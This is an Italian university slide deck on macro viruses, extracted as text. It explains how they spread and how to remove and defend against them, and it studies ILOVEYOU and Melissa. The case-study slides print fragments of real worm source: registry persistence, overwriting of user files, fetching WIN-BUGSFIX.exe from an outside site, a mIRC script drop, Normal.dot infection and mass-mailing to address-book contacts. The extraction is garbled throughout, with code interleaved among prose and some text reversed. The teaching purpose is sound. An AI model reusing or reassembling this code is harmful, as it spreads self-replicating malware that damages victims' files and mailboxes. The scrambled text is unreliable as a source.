dsfsdfdsf MACRO VIRUS MACRO VIRUS UNIVERSITA’ DEGLI STUDI DI SALERNO ¾ ¾ ¾ Sicurezza su reti ¾ ¾ Dott. Dott.ssa Barbara Masucci Realizzato da: Cuozzo Piergiuseppe Malangone Alessandro ¾ [email protected] [email protected] ¾ MACRO VIRUS Tipi Virus Definizione di Macro Virus Come agisce un Macro Virus Problemi causati Infezione e rimozione In dettaglio I love You Melissa Come difendersi MACRO VIRUS 1 Sicurezza su reti Sicurezza su reti Cosa sono i virus 2 Tipi di virus Il Virus si distingue da un normale programma per tre caratteristiche fondamentali: ¾Bombe ANSI ¾Virus multipartito ¾Bombe logiche ¾Virus del file system E' ospite in un file eseguibile, in un settore di boot, boot, o in un file di documento. ¾A Cifratura del codice ¾Cavalli di Troia Si autoreplica. autoreplica. ¾Residenti in memoria ¾Worm ¾Virus companion ¾Polimorfici Compie tutte queste operazioni in maniera nascosta all'utente. MACRO VIRUS ¾Virus di macro 3 MACRO VIRUS Sicurezza su reti Sicurezza su reti Che cos’è una MACRO 4 Macro Virus - Definizione I macro virus sono generalmente script incorporati all'interno di particolari documenti (come ad esempio MS Word,Excel…) Le Macro sono delle procedure automatizzate che permettono di eseguire diverse procedure in sequenza. ¾Possono essere eseguiti all’atto dell’apertura di un documento. Esempio di Macro: ¾Il mezzo principale di trasmissione di questi virus sono le e-mail. ¾Vanno ad infettare il modello che i programmi utilizzano per creare nuovi documenti. MACRO VIRUS 5 MACRO VIRUS 6 1 dsfsdfdsf Sicurezza su reti Sicurezza su reti Problemi causati Macro Virus - Definizione 9Cancellazione di icone. Il file globale Normal.dot mantiene tutte le informazioni su un nuovo documento:la formattazione, il tipo di carattere e la dimensione, ecc. . 9Cancellazione di dati. 9Occupazione di memoria e blocco del sistema. La capacità del virus di duplicarsi è garantita dalla possibilità di essere eseguito automaticamente al momento dell’apertura di un file. MACRO VIRUS 9Salvataggio dei documenti solo in formato .txt MACRO VIRUS 7 Sicurezza su reti Smascherare i Macro Virus 8 Sicurezza su reti Protezione da Macro Per proteggersi dai Macro Virus si deve attivare la protezione da Macro potenzialmente non sicure tramite il menu Strumenti/Macro/Protezione, scegliendo il relativo livello di protezione. Aprendo la voce Macro nel menu Strumenti appariranno macro con nomi composti dalle seguenti parole: “ToolsMacro”, “Payload”; AAAZAO, AAAZF; "virus“,”InsertPayLoad. Non sempre valido MACRO VIRUS MACRO VIRUS 9 Sicurezza su reti Protezione da Macro Sicurezza su reti Protezione da Macro Si può anche selezionare l’opzione “Richiedi salvataggio modello Normal” dalla finestra di dialogo Opzioni/Salva nel menu strumenti. Se la protezione è attivata, ogni volta che si apre un documento Word contenente una macro, viene visualizzata una finestra di dialogo in cui è possibile scegliere di attivare le macro. MACRO VIRUS 10 11 MACRO VIRUS 12 2 dsfsdfdsf Sicurezza su reti Rimozione Sicurezza su reti Macro Virus più comuni 1. Eliminare il file Normal.dot e sostituirlo con un file normal.dot pulito,tramite il menu Strumenti/Modelli. Word Macro/Concept 2. Attivare la protezione da Macro Virus. Word Macro/Atom 3. Aprire tutti i file di Word. Word Macro/Bandung 4. Cancellare il codice virale nell’editor di Visul Basic, nei documenti che contengono una macro. Word Macro/Colors 5. Salvare il file con un altro nome, chiudere il tutto ed eliminare il vecchio file. Word Macro/Nuclear Ripulito il file passare agli altri procedendo nello stesso modo. I Love You MACRO VIRUS Melissa MACRO VIRUS 13 Sicurezza su reti 14 Sicurezza su reti I Love You - L’autore I Love You Il mese di Maggio del 2000 è stato segnato dalla comparsa del virus "I Love You“. ¾Scritto in Visual Basic Script, linguaggio prossimo a Visual Basic. ¾Si propagava per e-mail sotto forma di allegato. ¾Con un nome così accattivante furono molte le vittime a cadere nel tranello. MACRO VIRUS L’autore: Onel De Guzman Uno dei migliori studenti dell'Ama, una catena di college informatici molto popolare nel Sus-Est asiatico. Lì entrò a far parte di un gruppo chiamato Grammersoft. Sarà proprio quel fatidico nome, ritrovato all'interno dello script di I love you, a convogliare i sospetti su di lui. Ritenuto responsabile di aver creato e immesso in rete il virus informatico più dannoso mai creato. MACRO VIRUS 15 Sicurezza su reti I Love You - Codice 16 Sicurezza su reti I Love You - Codice Il codice è composto da 8 subroutines : Le prime righe del codice del virus sono dedicate ai commenti e alle impostazioni di alcune variabili che poi saranno usate nel programma. 9main() 9regruns() 9listadriv Le due prime righe del code source corrispondono alla firma degli autori del virus, firma che dall'inizio ha fatto pensare che il virus provenisse dalle filippine. 9infectfiles(folderspec) 9folderlist (folderspec) e dalle tre funzioni: 9regcreate(regkey, regvalue) regget(value) 9spreadtoemail() fileexist() rem barok -loveletter(vbe) <i hate go to school> 9html() folderexist(folderspec) rem by: spyder / [email protected] / @GRAMMERSoft Group / rem barok -loveletter(vbe) Manila,Philippines MACRO VIRUS 17 MACRO VIRUS 18 3 dsfsdfdsf Sicurezza su reti Sicurezza su reti I Love You - Codice Neutralizza le difese da macro I Love You - Codice La sub main() imposta alcune variabili usate nelle successive routine e crea nell'ordine i tre files "MSKernel32.vbs", "Win32DLL.VBS" e LOVE-LETTER-FOR-YOU.TXT.vbs". ile iab var la r a la Cre tto pe file e i ogg ra de l disco u lett enti su s e pr sub regruns() On Error Resume Next Dim num,downread Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Main( ) Set c = fso.GetFile(WScript.ScriptFullName) set fso = CreateObject("Scripting.FileSystemObject“) c.Copy(dirsystem&"\MSKernel32.vbs") files set file = fso.OpenTextFile(WScript.ScriptFullname,1) c.Copy(dirwin&"\Win32DLL.vbs") vbscopy=file.ReadAll c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") [...] MACRO VIRUS MACRO VIRUS 19 Sicurezza su reti Sicurezza su reti I Love You – Codice I Love You - Codice In seguito vengono lanciate le seguenti routines: Individua la directory impostata di default per lo scaricamento dei file da internet e verifica l’esistenza del file "WinFAT32.exe" nella directory di Windows. ¾regruns() La procedura regruns infetta la base dei registri con il fine di eseguire il virus ad ogni avvio del PC. ¾html() ¾spreadtoemail() ¾listadriv() 20 downread="" downread=regget("HKEY_CURRENT_USER\Software\ Microsoft\InternetExplorer\Download Directory") regcreate Se non esiste prende come default “C:\” "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ if (downread="") then Run\MSKernel32",dirsystem&"\MSKernel32.vbs" downread="c:\" regcreate end if "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" MACRO VIRUS MACRO VIRUS 21 Sicurezza su reti 22 Sicurezza su reti I Love You - Codice I Love You - Codice Se esiste "WinFAT32.exe" nella directory di Windows il virus modifica (attraverso il Registro) la Pagina Iniziale di MS Internet Explorer inserendo l’indirizzo del file "WIN-BUGFIX.EXE" posto in una sottodirectory del sito www.skyinet.net. La sub verifica poi l'esistenza del file WIN-BUGSFIX.exe nella directory predefinita per il download e imposta il Registro per eseguirlo a ogni avvio del computer. if (fileexist(dirsystem&"\WinFAT32.exe")=1) then if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then Randomize regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run\WIN- num = Int((4 * Rnd) + 1) BUGSFIX",downread&"\WIN-BUGSFIX.exe" if num = 1 then regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" MACRO VIRUS Explorer\Main\StartPage","about:blank" end if Dopodiché la Pagina Iniziale di Explorer diventa "about:blank" end sub 23 MACRO VIRUS 24 4 dsfsdfdsf Sicurezza su reti Sicurezza su reti I Love You - Codice I Love You - Codice Verifica i driver presenti sul disco e per ogni unità esegue la funzione folderlist( ). t( ) erlis fold list ( driv Infectfiles( ) ) ¾Sostituisce i file: Script,JPEG, mp3 con una copia del virus. ¾Ricerca il programma mIRC al fine di propagarsi ad altri utenti. if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) Chiama la funzione infectfiles ( ) ap.write vbscopy Individua e cancella tutti i files con estensione:*.vbs, *.vbe ap.close MACRO VIRUS MACRO VIRUS 25 Sicurezza su reti 26 Sicurezza su reti I Love You - Codice I Love You - Codice elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) Il virus I Love You testa infine il nostro computer per verificare la presenza del programma mIRC, creando nella sua cartella il file “SCRIPT.INI”, contenente i comandi per inviare una pagina html contenente la copia del virus. ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) on e c hs e i fil on .css,.w llati mc Ide nsione cance ile f o e est he son ti da e ma a js c piazz so nom e im e r lo stes ension t con ti l'es n a ve s .v b cop.copy(f1.path&".vbs") if (eq<>folderspec) then fso.DeleteFile(f1.path) if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy (s="script.ini") or (s="mirc.hlp") then set [scriptini=fso.CreateTextFile(folderspec&"\script.ini") mp3.close scriptini.WriteLine "[script]" set att=fso.GetFile(f1.path) scriptini.WriteLine ";mIRC Script" att.attributes=att.attributes+2 scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, end if ... MACRO VIRUS MACRO VIRUS 27 Sicurezza su reti 28 Sicurezza su reti I Love You - Codice I Love You - Codice regcreate( )Imposta i registri di sistema La routine html() crea una pagina HTML contente il codice virale nella directory di Windows con il nome "LOVE-LETTER-FORYOU.HTM", che sarà trasmessa ai vari corrispondenti via IRC.. Questa pagina HTML contiene un ActiveX (vbscript) con il fine di richiamare l'attenzione della vittima. spreadtoemail( ) crea il messaggio e-mail contenente il virus e lo spedisce a tutti i membri della rubrica. regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) Il virus richiama l'applicazione Wab.exe, una rubrica di Outlook. then for ctrentries=1 to a.AddressEntries.Count maled=a.AddressEntries(x) reagd="" regad=regedit.ReadRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then MACRO VIRUS 29 MACRO VIRUS 30 5 dsfsdfdsf Sicurezza su reti Sicurezza su reti I Love You - Codice I Love You - Rimozione Viene creato il messaggio e-mail contenente il virus e spedito a tutti i membri della rubrica. Vediamo inoltre che il soggetto che contiene il virus e "I Love You", e che il corpo del messaggio, vale a dire il testo è "Kindly check the attacched loveletter coming from me". Rimuovere i file: set male=out.CreateItem(0) ¾LOVE-LETTER-FOR-YOU.HTM (dalla cartella di sistema) male.Recipients.Add(maled) ¾WIN-BUGSFIX.EXE, WINFAT32.EXE (dalla cartella dei file scaricati da internet) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." ¾.VBS (da tutte le cartella del sistema) male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") ¾SCRIPT.INI (nella cartella di mIRC) male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Wab\ "&malead,1,"REG_DWORD" end if MACRO VIRUS … MACRO VIRUS 31 32 Sicurezza su reti Sicurezza su reti Melissa Melissa – Diffusione e attivazione Si tratta di un virus macro di Word trasmesso tramite posta elettronica in un documento Word allegato. ¾Diffusione tramite posta elettronica con un file list.doc allegato. Il messaggio contiene: 7 W9 a.A liss e M M/ ¾E’ in grado di propagarsi inviando messaggi di posta elettronica ai primi 50 indirizzi in rubrica. La dicitura "Important Message From "nome utente" nel campo dell'oggetto. Il testo "Here is that document you asked for ... don't show anyone else ;-)" MACRO VIRUS ¾Il virus possiede anche una particolare routine la cui azione viene eseguita solo nel caso in cui il numero del giorno corrisponda a quello dei minuti. MACRO VIRUS 33 34 Sicurezza su reti Sicurezza su reti Melissa – Descrizione tecnica Melissa – Trasmissione Nome della macro infetta in cui vengono ignorati gli errori quando Melissa è in esecuzione e neutralizzate le difese di Word. If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Si autospedisce ai primi 50 indirizzi nella rubrica Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep Private Sub Document_Open() x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count On Error Resume Next Next oo End Sub Nel "soggetto" (subject) del messaggio viene inserito il testo "Important Message From [UsareName]" (UserName è una variabile e conterrà il nome dell'utente di Outlook). BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" Nel corpo del messaggio viene scritto il testo "Here is that document you asked for ... don't show anyone else ;-)" MACRO VIRUS 35 MACRO VIRUS 36 6 dsfsdfdsf Sicurezza su reti Melissa – Trasmissione … BreakUmOffASlice.Attachments.Add Sicurezza su reti Melissa – Infezione Il codice del virus contiene un modulo chiamato "Melissa", nel quale è presente una funzione automatica: Allega il documento infetto alla posta e poi spedisce l’e-mail. ActiveDocument.FullName "Document_Open" BreakUmOffASlice.Send Peep = "" "Document_Close" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER \Software\Microsoft \Office\", "Melissa?") = "... by Kwyjibo " End If … Prima dell'invio, il virus controlla il Registro di sistema ricercando una chiave particolare. MACRO VIRUS Il virus infetta il modello NORMAL.DOT quando vengono aperti dei documenti infetti e si diffonde ad altri documenti quando questi ultimi vengono chiusi. MACRO VIRUS 37 Sicurezza su reti Melissa – Infezione Sicurezza su reti Melissa – Infezione ... Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1=NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines Infetta il documento corrente 38 s iru il v ro c ia e Cop lla ma Clos ne ent_ cum Do ... If Dont = True Then ADCL = ADI1.CodeModule.CountOfLines Do While ADI1.CodeModule.Lines(1, 1) = "" BGN = 2 ADI1.CodeModule.DeleteLines1 If ADI1.Name<>"Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines1, ADCL Set ToInfect = ADI1 Loop ToInfect.CodeModule.AddFromString("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ADI1.Name = "Melissa" ToInfect.CodeModule.InsertLinesBGN, DoAD = True ADI1.CodeModule.Lines(BGN, 1) End If BGN = BGN + 1 … Loop End If MACRO VIRUS MACRO VIRUS 39 Sicurezza su reti Melissa – Infezione 40 Sicurezza su reti Melissa – Infezione … CYA: ... If DoAD = True Then Salva il documento infetto Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines s iru il v ro c ia n Cop lla ma Ope _ ne ent cum Do Loop ToInfect.CodeModule.AddFromString("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" 1) ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1,ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved=True End If WORD/Melissa written by Kwyjibo Works in both Word 2000 and Word 97 Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! Word -> Email | Word 97 <--> Word 2000 ... it's a new age! BGN = BGN + 1 Loop End If MACRO VIRUS If NTCL <> 0 And ADCL = 0 And (InStr(1,ActiveDocument.Name, "Document"=False)Then 41 MACRO VIRUS Commenti 42 7 dsfsdfdsf Sicurezza su reti Melissa – Trigger Routine Sicurezza su reti Melissa – Come difendersi Verificare che la protezione da virus macro di Office sia attivata. Il Virus contiene anche una speciale routine. Eseguire un programma anti-virus aggiornato e controllare il sistema con frequenza. Eliminare o rinominare il file Normal.dot. Questo modello globale di Word viene ricreato automaticamente all'avvio di Word. … If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub MACRO VIRUS MACRO VIRUS 43 Sicurezza su reti Come difendersi 44 Sicurezza su reti E-Mail sicura Molti virus sono allegati ai messaggi con nomi invitanti oppure sono infilati dentro al codice HTML dei messaggi stessi sotto forma di script. E-mail sicura Alcuni metodi di mascheramento: Antivirus File Spoofing Profilassi informatica Remailer Anonimi Verificare le regole di base del client di posta Se necessario utilizzare programmi specifici ¾PGP ¾Firma digitale tramite società dedicate Registrare un account con transazione protetta con crittografia e passphrase su www.hushmail.com MACRO VIRUS MACRO VIRUS 45 Sicurezza su reti Tipologie di antivirus-Principi di funzionamento 46 Sicurezza su reti Tipologie di antivirus-Principi di funzionamento Software scritti per intercettare, prevenire ed eliminare l'azione di virus e di altri tipi di malware. SCANNER Ricercano nel sistema (file, memoria e settori di avvio) le stringhe caratteristiche dei virus conosciuti. DI RILEVAMENTO In genere vi sono tre tipi di AntiVirus:Monitoraggio, Scanner e di Rilevamento. Altri tipi di protezione possono essere da scrittura, lettura, ... DI MONITORAGGIO ¾Verificatori dell’integrità (utile per la rilevazione di virus che modificano la struttura dei file). ¾Tecnica euristica (ricerca le istruzioni e i funzionamenti sospetti) ¾Programmi di decrittazione generica (utilizzati per rilevare i virus criptati e polimorfici). Tentano di prevenire un'infezione controllando attività sospette (riformattare un disco, ...). MACRO VIRUS 47 MACRO VIRUS 48 8 dsfsdfdsf Sicurezza su reti Tipologie di antivirus-L’attacco dei retrovirus Sicurezza su reti Tipologie di antivirus-L’attacco dei retrovirus A prescindere dalle caratteristiche di ogni singolo antivirus, le componenti essenziali sono le seguenti: Un problema molto importante riguarda l'efficienza dell'antivirus a respingere attacchi di tipo retrovirale. Interfaccia grafica(programma o servizio eseguibile .exe) Driver di scansione (driver di sistema .vxd, o .sys) Per attacchi "retrovirali", si intendono quelli in cui il virus è in grado di aggirare e disattivare l'antivirus, o comunque di renderlo inefficace nei confronti del virus stesso. Come mai è possibile che un worm che opera come un programma eseguibile, possa in qualche maniera compromettere la sicurezza di un antivirus? I due moduli sono in continuo contatto tra di loro e quando il modulo eseguibile viene disabilitato anche la parte relativa al driver smette di funzionare. MACRO VIRUS 49 MACRO VIRUS Sicurezza su reti Profilassi informatica 50 Sicurezza su reti Profilassi informatica (2) Verificare ogni nuovo software o dischetto Non aprire file con estensioni 386, BIN, CMD, DEV, DLL, DOC, DOT, EXE, INF MD?, MPP, MPT, OBT, OLE, XL?, VXD, OVL, PP?, POT, PIF SCR, SHS, SYS, VBS, XPT senza averli controllati con un antivirus aggiornato. Prepararsi al sicuro un disco di Boot pulito per compiere la scansione Prestare attenzione a nuovi comportamenti del PC: Utilizzare un server di posta che faccio un controllo antivirus. ¾ Improvvisi crash del sistema Disattivare qualsiasi funzione di visualizzazione automatica. ¾ Quando un programma generico di monitoraggio dà un allarme Installare e tenere aggiornato un firewall. ¾ L'impossibilità di avviare il proprio computer con messaggi del tipo "missing operating system“ Compiere Backup regolari ¾ Comportamenti inusuali MACRO VIRUS 51 MACRO VIRUS 52 9